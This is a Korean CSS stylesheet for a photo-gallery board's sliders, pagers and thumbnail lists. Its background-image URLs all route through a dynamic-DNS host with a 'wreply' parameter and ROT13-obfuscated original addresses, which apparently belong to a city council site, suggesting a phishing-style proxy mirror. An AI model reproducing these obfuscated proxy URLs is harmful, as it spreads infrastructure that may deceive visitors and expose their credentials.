.mtmPhoto_view .photoViewArea .bx-controls-direction a.bx-next { right:40px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Szhygvzrqvn%2Sznva%2Sivfvoyr_oga_arkg.cat) no-repeat 0 0; }


.mtmPhoto_view .photoViewArea .bx-controls-auto a{ position:absolute; right:144px; top:280px; width:46px; height:91px; text-indent:-9999px; display:block; } /* 시작 정지 */
.mtmPhoto_view .photoViewArea .bx-controls-auto a.bx-stop { background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Szhygvzrqvn%2Sznva%2Sivfvoyr_oga_cnhfr.cat) no-repeat 0 0;}
.mtmPhoto_view .photoViewArea .bx-controls-auto a.bx-start { background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Szhygvzrqvn%2Sznva%2Sivfvoyr_oga_cynl.cat) no-repeat 0 0; }

.mtmPhoto_view .photoViewArea .bx-pager { position:absolute; left:45%; bottom:185px; } /* 목록수 */
.mtmPhoto_view .photoViewArea .bx-pager .bx-pager-item {float:left;}
.mtmPhoto_view .photoViewArea .bx-pager a { display:block; text-indent:-9999px; width:20px; height:20px; border-radius:10px; background:#999; margin-right:5px; transition:all 0.25s;}
.mtmPhoto_view .photoViewArea .bx-pager a.active {width:40px; background:#15abc2;}



.mtmPhoto_view .bx_ctl_pager { width:100%; padding:10px 0; border-top:1px solid #ddd; border-bottom:1px solid #ddd; }
.mtmPhoto_view .bx_ctl_pager ul { overflow:hidden;}
.mtmPhoto_view .bx_ctl_pager ul li { float:left; width:10%; padding:5px 10px; box-sizing:border-box; }
.mtmPhoto_view .bx_ctl_pager ul li a { background:#fff; }
.mtmPhoto_view .bx_ctl_pager ul li a img { width:100%; height:78px; opacity:0.5;}
.mtmPhoto_view .bx_ctl_pager ul li a:active img,
.mtmPhoto_view .bx_ctl_pager ul li a:focus img,
.mtmPhoto_view .bx_ctl_pager ul li a:hover img { opacity:1; }

.mtmPhoto_view .photo_content { width:100%; padding:35px 25px; border-bottom:1px solid #ddd; box-sizing:border-box; line-height:1.5; }


@media (min-width:769px) and (max-width:1023px){
	.mtmPhoto_view {  }
	.mtmPhoto_view .photoViewArea { width:100%; height:500px; padding:0; }
	
	.mtmPhoto_view .photoViewArea li { height:500px !important; background-size:contain !important; background-position:50% 50% !important;  }

	
	.mtmPhoto_view .photoViewArea .bx-controls-direction a { top:170px; } /* 컨트롤 */
	.mtmPhoto_view .photoViewArea .bx-controls-direction a.bx-prev { left:30px;}
	.mtmPhoto_view .photoViewArea .bx-controls-direction a.bx-next { right:30px;}
	
	.mtmPhoto_view .photoViewArea .bx-controls-auto a { position:absolute; right:124px; top:170px; } /* 시작 정지 */
	
	.mtmPhoto_view .bx_ctl_pager ul li { width:12.5%; }
	.mtmPhoto_view .bx_ctl_pager ul li a img { width:100%; height:75px; }
	
}


@media (max-width:768px){
	.mtmPhoto_view {  }
	.mtmPhoto_view .photoViewArea { width:100%; height:380px; padding:0; }
	.mtmPhoto_view .photoViewArea li { height:380px !important; background-size:cover !important; background-position:50% 50% !important; }
	
	.mtmPhoto_view .photoViewArea .bx-controls-direction a {top:170px; width:25px; height:45px; } /* 컨트롤 */
	.mtmPhoto_view .photoViewArea .bx-controls-direction a.bx-prev { left:10px; background-size:25px 45px;}
	.mtmPhoto_view .photoViewArea .bx-controls-direction a.bx-next { right:10px; background-size:25px 45px;}
		
	.mtmPhoto_view .photoViewArea .bx-controls-auto a { position:absolute; right:70px; top:170px; width:23px; height:45px; background-size:23px 45px !important; } /* 시작 정지 */
	.mtmPhoto_view .photoViewArea .bx-pager { display:none;  } /* 목록수 */
	

	.mtmPhoto_view .bx_ctl_pager ul li { width:16.6%; padding:5px 5px; }
	.mtmPhoto_view .bx_ctl_pager ul li a img { width:100%; height:85px; }
	
	.mtmPhoto_view .photo_content { padding:20px 10px; }
	

}

@media (max-width:425px){
	.mtmPhoto_view .photoViewArea { height:263px; }
	.mtmPhoto_view .photoViewArea li { height:263px !important; }
	.mtmPhoto_view .bx_ctl_pager ul li { width:20%; }
	.mtmPhoto_view .bx_ctl_pager ul li a img { width:100%; height:52px; }
	
	.mtmPhoto_view .photoViewArea .bx-controls-direction a { top:115px; } /* 컨트롤 */
}





/* 포토게시판 목록 - 세로형 */
.photo_list2 { width:100%; }
.photo_list2 ul { width:100%; overflow:hidden; border-top:2px solid #113d8e; box-sizing:border-box; margin-bottom:25px;  }
.photo_list2 ul li { padding:20px; border-bottom:1px solid #ddd;}
.photo_list2 ul li dl { width:100%; overflow:hidden; }
.photo_list2 ul li dl dt { float:left; width:262px; margin-right:30px; }
.photo_list2 ul li dl dt img { width:250px; padding:5px; border:1px solid #ddd; box-sizing:content-box; }

.photo_list2 ul li dl dd { margin-left:292px; width:calc(100% - 292px); display:block; margin-bottom:4px; }

.photo_list2 ul li dl dd.subject { padding-top:5px; } 
.photo_list2 ul li dl dd.subject a:link,
.photo_list2 ul li dl dd.subject a:visited { color:#333; font-family:esamanru-Medium, "이사만루 미디엄"; font-size:110%; letter-spacing:-1px;  }
.photo_list2 ul li dl dd.subject a:active,
.photo_list2 ul li dl dd.subject a:focus,
.photo_list2 ul li dl dd.subject a:hover { color:#1757b7; }
.photo_list2 ul li dl dd.txt { color:#999; font-size:90%; }
.photo_list2 ul li dl dd.date { color:#999; }



@media (max-width:767px){
	.photo_list2 ul li { padding:20px 0; border-bottom:1px solid #ddd;}
	.photo_list2 ul li dl dt { float:left; width:85px; }
	.photo_list2 ul li dl dt img { width:70px; padding:3px; border:1px solid #ddd; }
	.photo_list2 ul li dl dd { margin-left:85px; width:calc(100% - 85px); }
	.photo_list2 ul li dl dd.subject { padding-top:0px; } 
}




/* 상세보기 slick */
.photoSliderView { width:100%; margin-bottom:25px; }

.photoSliderView h1 { position:relative; width:100%; height:60px; line-height:60px; border-top:1px solid #ddd; border-bottom:1px solid #ddd; overflow:hidden;  margin-bottom:20px;  }
.photoSliderView h1 strong { float:left; width:calc(100% - 220px); padding-left:10px; font-weight:normal; font-family:esamanru-Medium, "이사만루 미디엄"; font-size:90%; color:#000; text-overflow:ellipsis; overflow:hidden; white-space:nowrap; display:block;  }
.photoSliderView h1 span.date { float:right; padding-right:20px; color:#777; font-size:65%;}
.photoSliderView h1 span.hits { float:right; padding-right:10px; color:#777; font-size:65%;}



.photoSliderView .photoViewArea { position:relative; width:100%; padding:30px; box-sizing:border-box; background:#f1f1f1; overflow:hidden; text-align:center; margin-bottom:30px;  }
.photoSliderView .photoViewArea .slider-for { display:block; margin-bottom:50px; }
.photoSliderView .photoViewArea .slider-for .slick-slide { float:left; width:100%; display:block; }
.photoSliderView .photoViewArea .slider-for .slick-slide img { max-width:840px; width:100%; margin:0 auto; }

.photoSliderView .photoViewArea .slider-for .slick-slide a:link,
.photoSliderView .photoViewArea .slider-for .slick-slide a:visited { position:absolute; left:calc(50% - 60px); bottom:0px; width:120px; height:30px; line-height:30px; border-radius:5px 5px 0 0; background:rgba(17,61,142,0.6); color:#ccc; font-size:90%; display:block; z-index:1000000000; }
.photoSliderView .photoViewArea .slider-for .slick-slide a:active,
.photoSliderView .photoViewArea .slider-for .slick-slide a:focus,
.photoSliderView .photoViewArea .slider-for .slick-slide a:hover { color:#fff; }

.photoSliderView .photoViewArea .slider-nav .slick-slide img { width:100px !important; height:100px !important; cursor:pointer; }
.photoSliderView .photoViewArea .slider-nav { width:calc(100% - 100px); margin:0 auto; }
.photoSliderView .photoViewArea .slider-nav .slick-track { float:left; }


			/* 이전 다음 */
/*
.photoSliderView .photoViewArea .slick-prev, 
.photoSliderView .photoViewArea .slick-next { font-size:0; line-height:0; position:absolute; top:50%; display:block; width:20px; height:20px; padding:0; -webkit-transform:translate(0, -50%); -ms-transform:translate(0, -50%); transform:translate(0, -50%); cursor:pointer; color:transparent; border:none; outline:none; background:transparent; }

.photoSliderView .photoViewArea .slick-prev { left:-50px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Sobneq%2Scubgb_oga_ceri2.cat) no-repeat; }
.photoSliderView .photoViewArea .slick-next { right:-50px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Sobneq%2Scubgb_oga_arkg2.cat) no-repeat; }
*/

.photoSliderView .photoViewArea .slick-prev, 
.photoSliderView .photoViewArea .slick-next { font-size:0; line-height:0; position:absolute; top:50%; display:block; width:50px; height:50px; padding:0; -webkit-transform:translate(0, -50%); -ms-transform:translate(0, -50%); transform:translate(0, -50%); cursor:pointer; color:transparent; border:none; outline:none; background:transparent; z-index:100;}

.photoSliderView .photoViewArea .slick-prev { left:0px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Spbzzba%2Sfyvpx_oga_ceri2.cat) no-repeat; }
.photoSliderView .photoViewArea .slick-next { right:0px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Spbzzba%2Sfyvpx_oga_arkg2.cat) no-repeat; }




			/* Dots 메인 서브  */
.photoSliderView .slick-dotted.slick-slider {  }
.photoSliderView .slick-dots { position:absolute; bottom:128px; width:100%; text-align:center; display:block; border:none; z-index:1000; }
.photoSliderView .slick-dots li { position: relative; width: 20px;height: 20px; display: inline-block;  margin:0 3px; padding: 0; cursor: pointer; border:none; }
.photoSliderView .slick-dots li button { font-size: 0;line-height: 0; display: block;width: 20px; height: 20px; padding: 5px; cursor: pointer; color: transparent; border: 0; outline: none; background: transparent; }
.photoSliderView .slick-dots li button:hover,
.photoSliderView .slick-dots li button:focus {  outline: none; }
.photoSliderView .slick-dots li button:hover:before,
.photoSliderView .slick-dots li button:focus:before { opacity: 1;}
.photoSliderView .slick-dots li button:before {  position: absolute; top: 0; left: 0;  width: 20px; height: 20px; font-family: 'arial'; font-size:30px; line-height: 20px;  content: '●'; text-align: center; opacity: .25; color: black; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; }
.photoSliderView .slick-dots li.slick-active button:before { opacity: .75; color: black; }


.photoSliderView .photo_content { width:100%; padding:35px 25px; border-bottom:1px solid #ddd; box-sizing:border-box; line-height:1.5; }




@media (max-width:768px){
	.photoSliderView h1 { height:auto; line-height:1.3; padding:20px 15px; box-sizing:border-box; }
	.photoSliderView h1 strong { float:none; width:100%; padding-left:0; overflow:visible; white-space:normal; margin-bottom:5px;   }
	.photoSliderView h1 span { float:none; padding-top:5px; padding-right:0px; text-align:left; display:inline-block; }
	
	.photoSliderView .photoViewArea .slider-for {  margin-bottom:30px; }

	.photoSliderView .photoViewArea .slider-nav { width:calc(100% - 50px); }
	.photoSliderView .photoViewArea .slider-nav .slick-list { padding:0 !important; }
	.photoSliderView .photoViewArea .slider-nav .slick-slide img { width:50px !important; height:50px !important; }


	.photoSliderView .photoViewArea .slick-prev { left:-25px; }
	.photoSliderView .photoViewArea .slick-next { right:-25px; }
}